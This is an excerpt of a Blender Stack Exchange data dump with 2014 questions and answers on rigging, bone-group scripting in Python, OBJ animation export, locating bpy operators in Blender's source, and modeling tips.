  <row Id="6869" PostTypeId="1" AcceptedAnswerId="6877" CreationDate="2014-02-08T19:33:58.130" Score="3" ViewCount="3687" Body="&lt;p&gt;I have a problem when I rig a mesh and that is when I put the arms of my mesh up in the air for example some parts of it get twisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried looking at the XYZ orientation and the weight painting with no succes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are pictures illustrating the problem. &lt;strong&gt;(possibly NSFW, hover to view)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; &lt;img src=&quot;https://i.stack.imgur.com/yX4wN.png&quot; alt=&quot;arms down with no twist&quot;&gt;&#xA;&#xA; &lt;img src=&quot;https://i.stack.imgur.com/kL5o7.png&quot; alt=&quot;twist&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;here is the .blend file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/26742&quot; rel=&quot;nofollow noreferrer&quot;&gt;female base rigged &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2144" LastEditorUserId="2144" LastEditDate="2014-02-08T20:19:28.633" LastActivityDate="2014-02-09T02:56:50.617" Title="Blender twisting parts of mesh when rigging" Tags="&lt;transforms&gt;&lt;rigging&gt;&lt;rigify&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6870" PostTypeId="1" AcceptedAnswerId="6873" CreationDate="2014-02-08T21:35:15.157" Score="2" ViewCount="2453" Body="&lt;p&gt;According to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.ops.pose.html?highlight=.group_selec#bpy.ops.pose.group_select&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.ops.pose.group_select()&#xA;   Select bones in active Bone Group&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can the active bone group be set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;is_debug = True&#xA;&#xA;def debug(msg):&#xA;    if is_debug:&#xA;        print( &quot;Frame:%d %s&quot; % (bpy.context.scene.frame_current, msg ))         &#xA;&#xA;def find_bone_names_by_group(passedPose, passedGroupName):&#xA;    result = []&#xA;    for b in passedPose.bones:&#xA;        if hasattr( b.bone_group, &quot;name&quot;):&#xA;            if b.bone_group.name == passedGroupName:&#xA;                result.append(b.bone.name)&#xA;    return result&#xA;&#xA;def dump(obj,name=&quot;obj&quot;):&#xA;   for attr in dir(obj):&#xA;       if hasattr( obj, attr ):&#xA;           print( &quot;%s.%s = %s&quot; % (name,attr, getattr(obj, attr)))&#xA;&#xA;def assign_pose(rig, bone_group_name, pose_name):&#xA;&#xA;    pl = rig.pose_library&#xA;    pm=pl.pose_markers[ pose_name ]&#xA;    #dump(pm)&#xA;    debug(&quot;pose_marker=&quot; +str(pm))&#xA;    p = rig.pose&#xA;&#xA;    bones_to_modify = find_bone_names_by_group(p, bone_group_name)&#xA;    if len(bones_to_modify ) &amp;lt; 1:&#xA;        print(&quot;No bones found in group [&quot; + bone_group_name + &quot;].&quot;)&#xA;        return&#xA;&#xA;    action =  bpy.data.actions[pl.name]&#xA;    debug(&quot;assign_pose &quot; + pose_name)&#xA;    for agrp in action.groups:&#xA;        if agrp.name in bones_to_modify:&#xA;            i = p.bones.find(agrp.name)&#xA;            if i != -1:&#xA;                pb = p.bones[i]&#xA;                debug(&quot;Found bone:&quot; + pb.name )&#xA;                # check if group has any keyframes.&#xA;                for fc in agrp.channels:&#xA;                    tmpValue = fc.evaluate(bpy.context.scene.frame_current)&#xA;                    # Determine where to assign this value based upon the data_path.&#xA;                    if fc.data_path.find(&quot;location&quot;) != -1:&#xA;                        pb.location[fc.array_index] = tmpValue&#xA;                    if fc.data_path.find(&quot;rotation_quaternion&quot;) != -1:&#xA;                        pb.rotation_quaternion[fc.array_index] = tmpValue&#xA;                bpy.ops.anim.keyframe_insert(type='BUILTIN_KSI_LocRot',confirm_success=is_debug)  &#xA;                #bpy.ops.anim.keyframe_insert(type='DEFAULT', confirm_success=True)  &#xA;            else:&#xA;                print(&quot;Pose bone [&quot; + agrp.name + &quot;] not found.&quot;)                      &#xA;&#xA;&#xA;txt = bpy.data.texts[&quot;pose.txt&quot;].as_string()&#xA;for line in txt.splitlines():&#xA;    if line.find(&quot; &quot;) != -1 and line.find(&quot;#&quot;) == -1:&#xA;        sframe,rig_and_poses= line.split(&quot; &quot;)&#xA;        rest=rig_and_poses.split(&quot;:&quot;)&#xA;        print(&quot;-&quot;*40)&#xA;        rig_name=rest[0]&#xA;        poses=rest[1]&#xA;        pose_list=poses.split(&quot;,&quot;)&#xA;        bpy.context.scene.frame_set( int( sframe ))&#xA;        for assignment in pose_list:&#xA;            bone_group_name,pose_name=assignment.split(&quot;=&quot;)&#xA;            rig = bpy.data.objects.get(rig_name)&#xA;            if rig == None:&#xA;                print(&quot;rig name=&quot; + rig_name + &quot; not found.&quot;)&#xA;                break&#xA;            debug(&quot;assign rig:%s bone_group:%s, pose:%s&quot; % (rig, bone_group_name, pose_name))&#xA;            assign_pose(rig, bone_group_name, pose_name)                 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-02-08T22:54:23.443" LastActivityDate="2014-02-09T12:52:11.790" Title="How can the active bone group be set from a script?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6871" PostTypeId="2" ParentId="6868" CreationDate="2014-02-08T21:35:28.463" Score="0" Body="&lt;p&gt;Wavefront OBJ is a widely supported file format for &lt;strong&gt;3D models&lt;/strong&gt;. It can store vertex coordinates, UVs, vertex normals, face definitions and texture vertices (plus additional, but not standard-compliant data in some softwares).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animations are &lt;strong&gt;not supported&lt;/strong&gt;. The export option &lt;em&gt;Animation&lt;/em&gt; in the OBj exporter does not really export an animation, but an OBJ for every frame in your scene. So it's really a series of OBJ models. Some engines may support this for animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As said, the addon uses the scene, so the current timeline. Every object can reference not more than a single action. Therefore, only that one action is exported. Batch export of all actions is not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be trivial to do code-wise, but we lack an essential information: which action belongs to which object? All actions are stored globally (&lt;code&gt;bpy.data.actions&lt;/code&gt; in python). For which objects an action works, is not stored. You can &quot;run&quot; an action on any object, e.g. matching bones in another, different armature will be animated too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you need to switch actions on your animated object, change start and end frame on your timeline and export them one by one. Or adapt the export addon to batch-export all actions for the active object (you may use &lt;code&gt;Action.frame_range&lt;/code&gt; to determine the keyframed boundaries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the export by either inspecting the output folder, or by checking the system console (on Windows, it's as easy as &lt;em&gt;Window &gt; Toggle System Console&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OBJ Export path: 'C:\\Users\\CoDEmanX\\Desktop\\untitled_000249.obj'&#xA;OBJ Export time: 0.00&#xA;OBJ Export path: 'C:\\Users\\CoDEmanX\\Desktop\\untitled_000250.obj'&#xA;OBJ Export time: 0.00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-08T21:35:28.463" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6873" PostTypeId="2" ParentId="6870" CreationDate="2014-02-08T22:58:06.110" Score="3" Body="&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Armature']&#xA;bone_groups = obj.pose.bone_groups&#xA;&#xA;bone_groups.active = bone_groups[string_key]&#xA;#or&#xA;bone_groups.active_index = new_index&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-09T12:52:11.790" LastActivityDate="2014-02-09T12:52:11.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6874" PostTypeId="2" ParentId="6870" CreationDate="2014-02-08T22:59:03.660" Score="3" Body="&lt;p&gt;Pose bone groups are accessible via &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Pose.html?highlight=bone_groups#bpy.types.Pose.bone_groups&quot; rel=&quot;nofollow&quot;&gt;Object.pose.bone_groups&lt;/a&gt;, the active group is readable and writeable using the &lt;code&gt;active&lt;/code&gt; property:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.BoneGroups.html&quot; rel=&quot;nofollow&quot;&gt;bone_groups.active&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can actually select the bones of a group without the operator. What we need is the bone group and a way to select bones. The bone group is stored in a pose bone itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.PoseBone.html#bpy.types.PoseBone.bone_group&quot; rel=&quot;nofollow&quot;&gt;PoseBone.bone_group&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we iterate over all pose bones, check the bone group and need to select the bones that are in your desired group. PoseBones don't have a &lt;code&gt;.select&lt;/code&gt; property, we need to use their corresponding Bones and set the &lt;code&gt;.select = True&lt;/code&gt; on them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object # assuming this is an armature&#xA;pb_group = ob.pose.bone_groups['Group'] # the pose bone group we wanna select&#xA;&#xA;for pbone, bone in zip(ob.pose.bones, ob.data.bones):&#xA;    if pbone.bone_group == pb_group:&#xA;        bone.select = True&#xA;        bone.select_head = True&#xA;        bone.select_tail = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-08T22:59:03.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6875" PostTypeId="1" AcceptedAnswerId="6876" CreationDate="2014-02-09T01:04:58.653" Score="2" ViewCount="624" Body="&lt;p&gt;I would like to make a truncated cone, with the base and top of specific diameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I made a cylinder mesh and input the width and length of the cylinder to match the base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I selected the top face and tried to scale it down to the width and height for the top of the cone, but I can only adjust it with my mouse or as a percentage of the original size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to adjust the face's absolute diameter by entering a number like I did the whole object?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="12" LastEditDate="2014-02-09T02:29:28.220" LastActivityDate="2014-02-09T02:29:28.220" Title="How to numerically assign dimensions of a face" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6876" PostTypeId="2" ParentId="6875" CreationDate="2014-02-09T01:32:02.640" Score="3" Body="&lt;p&gt;A better way is to first create the bottom/top face numerically, then adjust the height, which can also be done numerically. As shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Rz3D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-09T01:43:12.150" LastActivityDate="2014-02-09T01:43:12.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6877" PostTypeId="2" ParentId="6869" CreationDate="2014-02-09T02:48:36.660" Score="3" Body="&lt;p&gt;The problem in your scene is caused by the bone structure. Take the L side for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are using two bones for each upperarm for some reason (which is unlike normal human), the constrained bone &lt;code&gt;DEF-upper_arm.01.L&lt;/code&gt; doesn't follow the rotation of its control bone or even &lt;code&gt;DEF-upper_arm.02.L&lt;/code&gt;, which would lead to the problem. As shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjBKP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be a few ways to fix this, but I'm really not sure why you structed and set the control bone for upper arm like this (I assume you are trying to simulate the natural-looking muscle stretch). However, I think at least an additional &lt;strong&gt;Copy Rotation&lt;/strong&gt; constraint on&lt;code&gt;DEF-upper_arm.01.L&lt;/code&gt; is needed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my try, FYI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Iewc.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-09T02:56:50.617" LastActivityDate="2014-02-09T02:56:50.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6879" PostTypeId="1" AcceptedAnswerId="81136" CreationDate="2014-02-09T07:24:01.470" Score="5" ViewCount="821" Body="&lt;p&gt;I thought that the following code (which I found &lt;a href=&quot;http://wrongsideofmemphis.com/2010/03/01/store-standard-output-on-a-variable-in-python/&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;) would save all the terminal output from the function &lt;code&gt;bpy.ops.render.render()&lt;/code&gt; into the variable &lt;code&gt;output&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, sys, io&#xA;&#xA;old_stdout = sys.stdout&#xA;render_output = io.StringIO()&#xA;sys.stdout = render_output&#xA;bpy.ops.render.render( write_still=True )&#xA;sys.stdout = old_stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still get output to the terminal (&lt;code&gt;Saved: /tmp/a.png Time: 00:00.99 (Saving: 00:00.01)&lt;/code&gt;) and &lt;code&gt;render_output.getvalue()&lt;/code&gt; returns an empty string.  Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tested this method with &lt;code&gt;bpy.ops.mesh.remove_doubles()&lt;/code&gt; and it successfully redirects the output.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2017-06-10T12:18:20.293" Title="Redirect output of bpy.ops.render.render() to variable" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6880" PostTypeId="1" AcceptedAnswerId="6882" CreationDate="2014-02-09T07:35:26.350" Score="7" ViewCount="2579" Body="&lt;p&gt;What is the best way to locate a function from the &lt;code&gt;bpy&lt;/code&gt; module in Blender's source code?  I've downloaded the &lt;a href=&quot;http://www.blender.org/download/&quot;&gt;source code&lt;/a&gt; and I'm aware you can also browse through it &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/&quot;&gt;online&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, I would like to inspect &lt;code&gt;bpy.ops.render.render()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-02-09T22:57:00.520" Title="Find bpy function in source code" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6881" PostTypeId="1" CreationDate="2014-02-09T07:45:05.903" Score="2" ViewCount="9082" Body="&lt;p&gt;I want the background of my scene to use a sky texture I have setup the nodes to use a image texture but instead of unseeing the sky texture I added it just looks white. Here is my setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2urS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="3401" LastEditDate="2015-12-22T18:17:00.897" LastActivityDate="2015-12-22T18:17:00.897" Title="Can't use image as world texture" Tags="&lt;cycles-render-engine&gt;&lt;image&gt;&lt;world&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6882" PostTypeId="2" ParentId="6880" CreationDate="2014-02-09T08:34:00.723" Score="11" Body="&lt;p&gt;Get the idname like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render.idname()&#xA;# 'RENDER_OT_render'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(or simply take &lt;code&gt;render.render&lt;/code&gt; and replace the &lt;code&gt;.&lt;/code&gt; by &lt;code&gt;_OT_&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search that operator in the source code, and find it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender\source\blender\editors\render\render_internal.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* contextual render, using current scene, view3d? */&#xA;void RENDER_OT_render(wmOperatorType *ot)&#xA;{&#xA;    PropertyRNA *prop;&#xA;&#xA;    /* identifiers */&#xA;    ot-&amp;gt;name = &quot;Render&quot;;&#xA;    ot-&amp;gt;description = &quot;Render active scene&quot;;&#xA;    ot-&amp;gt;idname = &quot;RENDER_OT_render&quot;;&#xA;&#xA;    /* api callbacks */&#xA;    ot-&amp;gt;invoke = screen_render_invoke;&#xA;    ot-&amp;gt;modal = screen_render_modal;&#xA;    ot-&amp;gt;cancel = screen_render_cancel;&#xA;    ot-&amp;gt;exec = screen_render_exec;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll likely wanna look for the exec function code (&lt;code&gt;screen_render_exec&lt;/code&gt;) and see what it does.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-09T08:34:00.723" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6883" PostTypeId="1" CreationDate="2014-02-09T09:22:53.787" Score="0" ViewCount="1728" Body="&lt;p&gt;After using other 3D Apps I have become used to Y being up, and Z being depth (Depth pass, Z pass etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make Blender a Y-up world, and if not, does anyone know why they chose to be different ?&lt;/p&gt;&#xA;" OwnerUserId="2410" LastEditorUserId="696" LastEditDate="2014-02-09T09:33:56.083" LastActivityDate="2014-02-09T09:47:13.187" Title="Can I make Blender a Y-Up world?" Tags="&lt;customization&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-09T14:51:41.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="6884" PostTypeId="1" AcceptedAnswerId="6888" CreationDate="2014-02-09T09:46:14.790" Score="4" ViewCount="5585" Body="&lt;p&gt;I'm trying to make rigid body physics interact with an (Armature-)animated character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters, I created a short piece of chain falling onto an animated box. The chain consists of 5 individual rigid bodies, the animated box also is a rigid body with the 'Animated' property set. When the animated box moves, I expect the chain to react to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fg5yD.png&quot; alt=&quot;Chain Resting on Thin Air&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, what I get instead is that the chain rests on the original pose of the animated box (as if it was static), even though it has moved out of the way.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The animated box is of type 'Active', set to 'Animated' and 'Dynamic', rigid body deactivation is turned off.&lt;/li&gt;&#xA;&lt;li&gt;The chain links are the same, except they're not set to 'Animated'.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1461" LastEditorUserId="1461" LastEditDate="2014-02-09T10:24:22.933" LastActivityDate="2014-02-09T12:02:09.630" Title="How do I Attach a Rigid Body to a Bone?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;bones&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6885" PostTypeId="2" ParentId="6883" CreationDate="2014-02-09T09:47:13.187" Score="1" Body="&lt;p&gt;Duplicate Question. See: &lt;a href=&quot;https://blender.stackexchange.com/questions/471/is-it-possible-to-make-blender-a-y-up-world?rq=1&quot;&gt;Is it possible to make Blender a Y-up world?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Cartesian_coordinate_system#In_three_dimensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;The standard orientation, where the xy-plane is horizontal and the z-axis points up&quot;&lt;/a&gt; is part of the Right Handed Orientation coordinate system. It is not &quot;being different&quot; as much a choice between Left or Right Handed systems. Each design team makes there own choices when they first start coding.&lt;/p&gt;&#xA;" OwnerUserId="2335" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-02-09T09:47:13.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6886" PostTypeId="2" ParentId="6880" CreationDate="2014-02-09T10:45:53.143" Score="1" Body="&lt;p&gt;Python offers a module for live &lt;a href=&quot;http://docs.python.org/3/library/inspect.html#retrieving-source-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;inspection&lt;/a&gt;.  If the function is a python function located in a .py file, you can use these functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import inspect&#xA;&#xA;#get sourcefile of a panel&#xA;inspect.getfile(bpy.types.VIEW3D_PT_transform_orientations)&#xA;#...blender-2.69-windows64\blender-2.69-windows64\2.69\scripts\startup\bl_ui\space_view3d.py&#xA;&#xA;bpy.data.texts.new('source').write(&#xA;    inspect.getsource(bpy.types.VIEW3D_PT_transform_orientations)&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(for the difference between &lt;code&gt;.getfile&lt;/code&gt; and &lt;code&gt;.getsourcefile&lt;/code&gt; see &lt;a href=&quot;https://stackoverflow.com/questions/6761337/inspect-getfile-vs-inspect-getsourcefile&quot;&gt;this post&lt;/a&gt; on stackoverflow)&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-02-09T22:57:00.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6887" PostTypeId="1" CreationDate="2014-02-09T11:29:15.367" Score="0" ViewCount="66" Body="&lt;p&gt;I created a blend file which is sun lens flare created in Cycles render. I can access the lens flare in node editor but not in the 3D view's rendered mode. Can anyone tell me how to view it on 3D view mode? Or if it's just created in node editor so it can only be viewed in node editor? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2403" LastEditorUserId="696" LastEditDate="2014-02-09T13:53:59.050" LastActivityDate="2014-02-09T13:53:59.050" Title="Viewing node-editor-created project on 3D view" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-07-27T18:31:42.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="6888" PostTypeId="2" ParentId="6884" CreationDate="2014-02-09T11:36:32.190" Score="4" Body="&lt;p&gt;Because you are using the armature-driven mesh to interact in a rigid body world, you need to toggle the &lt;strong&gt;Deforming&lt;/strong&gt; in the settings for that animated box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44uAV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-09T12:02:09.630" LastActivityDate="2014-02-09T12:02:09.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6889" PostTypeId="1" AcceptedAnswerId="6895" CreationDate="2014-02-09T15:03:14.343" Score="6" ViewCount="3634" Body="&lt;p&gt;I wanna cut a mesh by specifying the angle, but knife mode only cut 45° with C key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to cut by the angle around specifying the vertex.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VjYAz.jpg&quot; alt=&quot;cutting by knife&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2217" LastEditDate="2015-06-01T23:55:36.867" LastActivityDate="2015-06-01T23:55:36.867" Title="How to cut a mesh by specifying the angle" Tags="&lt;editing&gt;&lt;knife-tool&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-06-02T00:55:57.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="6890" PostTypeId="1" AcceptedAnswerId="6893" CreationDate="2014-02-09T16:13:05.610" Score="27" ViewCount="81890" Body="&lt;p&gt;I am just modeling an Audi R8 in Blender. I've already modeled more than half of the car.&#xA;I've also modeled the front and now I want to model the back. But this is a bit difficult because when I am in the &quot;Back&quot; View I see all the stuff I modeled on the front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way to blend out separate parts of an object in edit mode?&lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="12" LastEditDate="2014-02-09T16:50:36.013" LastActivityDate="2020-07-13T14:55:59.883" Title="Isolate or hide specific parts of an object in edit mode" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="6891" PostTypeId="1" AcceptedAnswerId="6897" CreationDate="2014-02-09T16:21:14.730" Score="2" ViewCount="1269" Body="&lt;p&gt;I am writing a toy operator which select the visible vertices of a mesh from active camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach is to do a perspective projection on vertices of that mesh to NDC(Normalized Device Coordinates. It is a glossary from rasterization graphic API like OpenGL) and check that whether the NDC is in range of [-1, 1]^3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I encounter a problem when I construct the projection matrix using camera.view_frame() function:&#xA;It seems that view_frame() returns &lt;em&gt;double&lt;/em&gt; of the real size of camera's sensor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused with this behavior of view_frame().&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Supplementary background:&#xA;I write a Blog post for details about this toy operator on &lt;a href=&quot;http://linearconstraints.net/?p=53&quot; rel=&quot;nofollow&quot;&gt;http://linearconstraints.net/?p=53&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the full source code is on &lt;a href=&quot;https://gist.github.com/thebusytypist/8900746&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/thebusytypist/8900746&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I divide the left/right/bottom/top by 2 in line 75-76.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2014-02-09T19:17:09.767" Title="Does Camera.view_frame() return the correct size of near clip plane?" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6892" PostTypeId="2" ParentId="6890" CreationDate="2014-02-09T16:35:05.703" Score="38" Body="&lt;p&gt;You can hide parts of a mesh in edit mode and you can hide whole objects in object mode:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;H&lt;/kbd&gt; to hide the selection&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to hide the elements which are not selected&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; to unhide everything&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also access these functions in the viewport in the menu via Mesh-&gt;Show/Hide.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-09T17:57:54.010" LastActivityDate="2014-02-09T17:57:54.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
